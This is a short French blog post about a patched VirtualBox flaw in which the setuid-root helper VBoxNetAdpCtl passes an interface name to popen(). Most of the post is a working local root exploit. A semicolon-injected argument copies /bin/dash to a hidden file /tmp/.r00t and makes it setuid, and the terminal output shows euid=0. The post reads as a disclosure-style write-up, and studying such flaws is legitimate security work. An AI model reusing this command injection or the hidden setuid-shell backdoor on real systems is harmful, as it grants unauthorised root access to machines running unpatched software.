Extrait du changeLog de VirtualBox :
« Security: fixed vulnerability that allowed to execute commands with root privileges. »HUM HUM WOOT #@!Après quelques minutes de recherche, on tombe sur le binaire
VBoxNetAdpCtl qui est
setuid root et dont le code vulnérable est disponible
ici. C'est du code bien cradossé, je vous laisse un peu de temps pour trouver la vulnérabilité. ;-)
...
Bein oui c'est le popen() qui est fait à la ligne 118 qui nous permet d'injecter des commandes qui seront lancées avec euid = 0. :-)
Exploit de oufz0r :[clem1@0dayz ~]$ /usr/lib/virtualbox/VBoxNetAdpCtl "vboxnet0;cp /bin/dash /tmp/.r00t;chmod +s /tmp/.r00t" "11:11::11" netmask 255.255.255.0
vboxnet0: error fetching interface information: Device not found
SIOGIFINDEX: No such device
getaddrinfo: 255.255.255.0: -9
255.255.255.0: Resolver Error 0 (no error)
[clem1@0dayz ~]$ /tmp/.r00t
# id
uid=1000(clem1) gid=100(users) euid=0(root) (...)
# exit
Attention ça ne marche pas avec toutes les distributions car certaines implémentations de /bin/sh (celle de archlinux) doivent faire une sorte de
seteuid(getuid()) avant d'exécuter un binaire. J'ai pas eu le temps de regarder en détail...
<privatejoke>
Les développeurs de VirtualBox méritent qu'on leur fasse gobber du flanby périmé. :-)
</privatejoke>
Labels: exploit, moufleurs